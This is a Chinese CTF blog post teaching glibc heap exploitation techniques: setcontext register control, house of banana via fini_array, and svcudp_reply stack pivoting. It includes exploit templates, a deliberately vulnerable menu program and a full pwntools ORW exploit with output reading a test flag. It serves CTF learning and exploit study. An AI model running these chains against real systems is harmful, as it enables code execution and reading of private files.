0x00 堆题开沙箱,越做越心慌前文
0x01 利用 setcontext setcontext
函数是libc
中一个独特的函数,它的功能是传入一个 SigreturnFrame
结构指针,然后根据 SigreturnFrame
的内容设置各种寄存器。 因此从 setcontext+53
(不同 libc 偏移可能不同)的位置开始有如下 gadget
,即根据 rdi
指向的 SigreturnFrame
结构设置寄存器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 //glibc2.27 0x7ffff7852085 <setcontext+53> mov rsp, qword ptr [rdi + 0xa0] 0x7ffff785208c <setcontext+60> mov rbx, qword ptr [rdi + 0x80] 0x7ffff7852093 <setcontext+67> mov rbp, qword ptr [rdi + 0x78] 0x7ffff7852097 <setcontext+71> mov r12, qword ptr [rdi + 0x48] 0x7ffff785209b <setcontext+75> mov r13, qword ptr [rdi + 0x50] 0x7ffff785209f <setcontext+79> mov r14, qword ptr [rdi + 0x58] 0x7ffff78520a3 <setcontext+83> mov r15, qword ptr [rdi + 0x60] 0x7ffff78520a7 <setcontext+87> mov rcx, qword ptr [rdi + 0xa8] 0x7ffff78520ae <setcontext+94> push rcx 0x7ffff78520af <setcontext+95> mov rsi, qword ptr [rdi + 0x70] 0x7ffff78520b3 <setcontext+99> mov rdx, qword ptr [rdi + 0x88] 0x7ffff78520ba <setcontext+106> mov rcx, qword ptr [rdi + 0x98] 0x7ffff78520c1 <setcontext+113> mov r8, qword ptr [rdi + 0x28] 0x7ffff78520c5 <setcontext+117> mov r9, qword ptr [rdi + 0x30] 0x7ffff78520c9 <setcontext+121> mov rdi, qword ptr [rdi + 0x68] 0x7ffff78520cd <setcontext+125> xor eax, eax EAX => 0 0x7ffff78520cf <setcontext+127> ret
可能会有疑惑没有对rip
的控制,其实这里的push rcx
结合上后续的ret
就是在给rip
赋值 以及需要注意的是在glibc2.29
及以上,传入的 SigreturnFrame
结构指针不使用rdi
,而是改为了rdx
,这需要我们寻找到可以控制rdx
的gadget
。在glibc2.31
,偏移从setcontext+53
变为了setcontext+61
一般对setcontext
的利用都是在堆攻击中,一般是两个打法:一是直接打ROP
,二是利用mprotect
再打一个shellcode
参考其他博客放两个适用于glibc2.27
示意模版,具体利用还需调整(直接用SigreturnFrame()
适用于简单的不需要布置其他数据的情况)
template-for-glibc2.27 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 add(0 ,0x3f8 ) delete(0 ) edit(0 ,0x8 ,p64(libc.sym['__free_hook' ])) add(1 ,0x3f8 ) add(0 ,0x3f8 ) payload=p64(libc.sym['setcontext' ]+53 ) payload+=p64(libc.sym['__free_hook' ]+0x10 ) payload+=asm(''' xor rdi,rdi mov rsi,%d mov rdx,0x2000 xor rax,rax syscall jmp rsi ''' % (libc.sym['__free_hook' ] & ~0xfff )) edit(0 ,len (payload),payload) frame=SigreturnFrame() frame.rsp=libc.sym['__free_hook' ]+8 frame.rip=libc.sym['mprotect' ] frame.rdi=libc.sym['__free_hook' ] & ~0xfff frame.rsi=0x2000 frame.rdx=7 edit(1 ,len (frame.__bytes__()),frame.__bytes__()) delete(1 )
这是打shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 add(0 ,0x3f8 ) delete(0 ) edit(0 ,0x8 ,p64(libc.sym['__free_hook' ])) add(0 ,0x3f8 ) add(1 ,0x3f8 ) add(2 ,0x50 ) payload=b'' payload+=p64(libc.sym['setcontext' ]+53 ) payload+=p64(libc.search(asm('pop rdi;ret' )).__next__()) payload+=p64(3 ) payload+=p64(libc.search(asm('pop rsi;ret' )).__next__()) payload+=p64(libc.sym['__free_hook' ]+0x108 ) payload+=p64(libc.search(asm('pop rdx;ret' )).__next__()) payload+=p64(0x20 ) payload+=p64(libc.sym['read' ]) payload+=p64(libc.search(asm('pop rdi;ret' )).__next__()) payload+=p64(libc.sym['__free_hook' ]+0x108 ) payload+=p64(libc.sym['puts' ]) payload=payload.ljust(0x100 ,b'\x00' ) payload+=b'./flag\x00' edit(1 ,len (payload),payload) frame=SigreturnFrame() frame.rdi=libc.sym['__free_hook' ]+0x100 frame.rsi=0 frame.rdx=0 frame.rip=libc.sym['open' ] frame.rsp=libc.sym['__free_hook' ]+0x8 edit(2 ,len (frame.__bytes__()),frame.__bytes__()) delete(2 )
这是打ROP
值得一提的是,在高版本的house
系列攻击中也可以结合setcontext
,尽管rdx
不好控制,以house of banana
为例,其的攻击链中却存在控制rdx
的方法
house-of-banana-orw-up-to-glibc2.29 在house of banana
中,我们劫持fini_array
,在这个过程中
1 2 while (i-- > 0 ) ((fini_t ) array [i]) ();
这里每次调用的函数指针都为上一个的地址减8
(也就是逆序遍历),直到最后调用函数指针的基地址array
,而每一次调用函数指针,其rdx
均为上一次调用的函数指针的地址,而在house of banana
攻击中,这个函数指针地址都是被我们劫持的堆地址,那么这里的rdx
也就变成了我们布置函数的堆地址。(在glibc2.29+
有效)
这样一来,我们布置函数时候,先布置setcontext
相关的gadget
,再布置一个ret
,然后通过l_info[DT_FINI_ARRAYSZ]
设置好i
为2,那么逆序遍历,先执行ret
,执行完后rdx
也就被设置成了我们布置这个ret
的堆地址,我们在这里布置好sigFrame
(其实需要我们根据setcontext+53
中控制寄存器所需的偏移来布置数据),接下来执行setcontext+53
,那么也就可以实现类似SROP
的效果,劫持几乎所有寄存器 我们控制rsp
指向我们布置ROP_chain
的起始地址,控制rcx
为ret
,这样也就启动了ROP
链;这里也可以实现一个类似shellcode
中二次读的操作,就是控制rcx
为read
,控制rsp
为读入的起始地址,然后读入一个ROP_chain
,read
结束返回后也就执行了ROP
;又或者是直接设置好寄存器然后控制rcx
为open
,可以缩短后续的ropchain
实操一下 ,还是用分析hosue of banana
时候板子题,只不过编译到glibc2.31
,我们起个ubuntu20.04
的docker
编译一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 #include <stdio.h> #include <unistd.h> #define num 10 void *chunk_list[num];int chunk_size[num];void init () { setbuf(stdin , 0 ); setbuf(stdout , 0 ); setbuf(stderr , 0 ); } void menu () { puts ("1.add" ); puts ("2.show" ); puts ("3.edit" ); puts ("4.delete" ); puts ("5.exit" ); puts ("Your choice:" ); } int add () { int index,size; puts ("index:" ); scanf ("%d" ,&index); if (index<0 || index>=num) exit (1 ); puts ("Size:" ); scanf ("%d" ,&size); if (size<0x80 ||size>0x500 ) exit (1 ); chunk_list[index] = calloc (size,1 ); chunk_size[index] = size; } int edit () { int index; puts ("index:" ); scanf ("%d" ,&index); if (index<0 || index>=num) exit (1 ); puts ("context: " ); read(0 ,chunk_list[index],chunk_size[index]); } int delete () { int index; puts ("index:" ); scanf ("%d" ,&index); if (index<0 || index>=num) exit (1 ); free (chunk_list[index]); } int show () { int index; puts ("index:" ); scanf ("%d" ,&index); if (index<0 || index>=num) exit (1 ); puts ("context: " ); puts (chunk_list[index]); } int main () { int choice; init(); while (1 ){ menu(); scanf ("%d" ,&choice); if (choice==5 ){ exit (0 ); } else if (choice==1 ){ add(); } else if (choice==2 ){ show(); } else if (choice==3 ){ edit(); } else if (choice==4 ){ delete(); } } }
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) filename = "pwn_patched" libcname = "/home/r3t2/.config/cpwn/pkgs/2.31-0ubuntu9.18/amd64/libc6_2.31-0ubuntu9.18_amd64/lib/x86_64-linux-gnu/libc.so.6" host = "127.0.0.1" port = 1337 elf = context.binary = ELF(filename) if libcname: libc = ELF(libcname) gs = ''' b main set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.31-0ubuntu9.18/amd64/libc6-dbg_2.31-0ubuntu9.18_amd64/usr/lib/debug set directories /home/r3t2/.config/cpwn/pkgs/2.31-0ubuntu9.18/amd64/glibc-source_2.31-0ubuntu9.18_all/usr/src/glibc/glibc-2.31 ''' def start (): if args.P: return process(elf.path) elif args.R: return remote(host, port) else : return gdb.debug(elf.path, gdbscript = gs) def start (): if args.P: return process(elf.path) elif args.R: return remote(host, port) else : return gdb.debug(elf.path, gdbscript = gs) def add (index,size ): io.sendlineafter('Your choice:\n' , str (1 )) io.sendlineafter('index:\n' , str (index)) io.sendlineafter("Size:\n" , str (size)) def show (index ): io.sendlineafter('Your choice:\n' , str (2 )) io.sendlineafter('index:\n' , str (index)) def edit (index, content ): io.sendlineafter('Your choice:\n' , str (3 )) io.sendlineafter('index:\n' , str (index)) io.sendafter("context: \n" ,content) def free (index ): io.sendlineafter('Your choice:\n' , str (4 )) io.sendlineafter('index:\n' , str (index)) def pwn () : add(0 , 0x428 ) add(1 , 0x500 ) add(2 , 0x418 ) free(0 ) show(0 ) io.recvuntil('context: \n' ) libc_base = u64(io.recv(6 ).ljust(8 , b'\x00' )) - 96 - 0x1ecb80 add(3 , 0x500 ) edit(0 , b'a' *0x10 ) show(0 ) io.recvuntil(b'a' *0x10 ) heap_base = u64(io.recv(6 ).ljust(8 ,b'\x00' )) - 0x290 log.info("libc_base --> " +hex (libc_base)) log.info("heap_base --> " +hex (heap_base)) rtld_global = libc_base + 0x228060 open = libc_base + libc.sym['open' ] read = libc_base + libc.sym['read' ] write = libc_base + libc.sym['write' ] pop_rdi_ret = libc_base + 0x23b6a pop_rsi_ret = libc_base + 0x2601f pop_rdx_r12_ret = libc_base + 0x119431 setcontext = libc_base + libc.sym['setcontext' ] ret = libc_base + 0x22679 free(2 ) edit(0 , b'a' *0x18 + p64(rtld_global-0x20 )) add(4 , 0x500 ) chunk_addr = heap_base + 0xbd0 log.info("chunk_addr --> " +hex (chunk_addr)) link_map = p64(0 ) link_map = link_map.ljust(0x18 - 0x10 , b'\x00' ) + p64(libc_base + 0x229740 ) link_map = link_map.ljust(0x28 - 0x10 , b'\x00' ) + p64(chunk_addr) link_map = link_map.ljust(0x40 - 0x10 , b'\x00' ) + p64(0x1a ) + p64(chunk_addr + 0x1f8 ) link_map = link_map.ljust(0x60 - 0x10 , b'\x00' ) + p64(0x1c ) + p64(0x10 ) link_map = link_map.ljust(0x110 - 0x10 , b'\x00' ) + p64(chunk_addr + 0x40 ) link_map = link_map.ljust(0x120 - 0x10 , b'\x00' ) + p64(chunk_addr + 0x60 ) link_map = link_map.ljust(0x1f8 - 0x10 , b'\x00' ) + p64(setcontext+61 ) + p64(ret) link_map = link_map.ljust(0x200 - 0x10 + 0x68 , b'\x00' ) + p64(chunk_addr + 0x330 ) link_map = link_map.ljust(0x200 - 0x10 + 0x70 , b'\x00' ) + p64(0 ) link_map = link_map.ljust(0x200 - 0x10 + 0xa0 , b'\x00' ) + p64(chunk_addr + 0x350 ) link_map = link_map.ljust(0x200 - 0x10 + 0xa8 , b'\x00' ) + p64(open ) link_map = link_map.ljust(0x31c - 0x10 , b'\x00' ) + p8(0x8 ) link_map = link_map.ljust(0x330 - 0x10 , b'\x00' ) + b'flag\x00\x00\x00\x00' ropchain = p64(pop_rdi_ret) + p64(3 ) + p64(pop_rsi_ret) + \ p64(chunk_addr + 0x450 ) + p64(pop_rdx_r12_ret) + \ p64(0x30 ) + p64(0 ) + p64(read) + p64(pop_rdi_ret) + \ p64(1 ) + p64(pop_rsi_ret) + p64(chunk_addr + 0x450 ) + \ p64(pop_rdx_r12_ret) + p64(0x30 ) + p64(0 ) + p64(write) link_map = link_map.ljust(0x350 - 0x10 , b'\x00' ) + ropchain edit(2 , link_map) while True : try : io = start() pwn() io.sendlineafter('Your choice:\n' , str (5 ).encode()) io.interactive() break except : io.close() continue
效果
1 2 3 4 5 6 7 8 9 [*] Switching to interactive mode [DEBUG] Received 0x30 bytes: 00000000 66 6c 61 67 7b 74 68 69 73 2d 61 2d 74 65 73 74 │flag│{thi│s-a-│test│ 00000010 2d 66 6f 72 2d 62 61 6e 61 6e 61 2d 6f 72 77 7d │-for│-ban│ana-│orw}│ 00000020 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000030 flag{this-a-test-for-banana-orw} \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive $
除了house of banana
,在其他house of
攻击中,如果能控制rdx
的话,也能利用setcontext
打ROP
,一通百通,这里不再列举
gadget-to-control-rdx 然而house of banana
攻击链中这种汇编指令级别的控制rdx
的方法并不稳定,在高版本(哪个版本仍待考证)也许就不行了,那么找到一个可以控制rdx
的gadget
是有必要的,如果能转换rdi
与rdx
,那么house of apple2
中利用setcontext
来打orw
也是可以实现的
1 2 3 mov rdx, qword ptr [rdi + 8] mov qword ptr [rsp], rax call qword ptr [rdx + 0x20]
例如上面的gadget
,可以通过rdi
来控制rdx
,并且存在call
,对于像house of apple2
这样只能劫持一次执行的攻击,执行流就不会断掉,也就可以再结合setcontext
来进行ROP
了
0x02 利用 svcudp_reply 1 2 3 4 5 6 <svcudp_reply+26>: mov rbp,QWORD PTR [rdi+0x48] <svcudp_reply+30>: mov rax,QWORD PTR [rbp+0x18] <svcudp_reply+34>: lea r13,[rbp+0x10] <svcudp_reply+38>: mov DWORD PTR [rbp+0x10],0x0 <svcudp_reply+45>: mov rdi,r13 <svcudp_reply+48>: call QWORD PTR [rax+0x28]
在libc.sym['svcudp_reply']+26
处有这样的gadget
,可以通过rdi
来控制rbp
,从而控制rax
,进而可以控制程序执行到leave;ret
实现栈迁移也就劫持了rsp
,那么就可以进行ROP
了。对于house of apple2
而言是进行ROP
的利器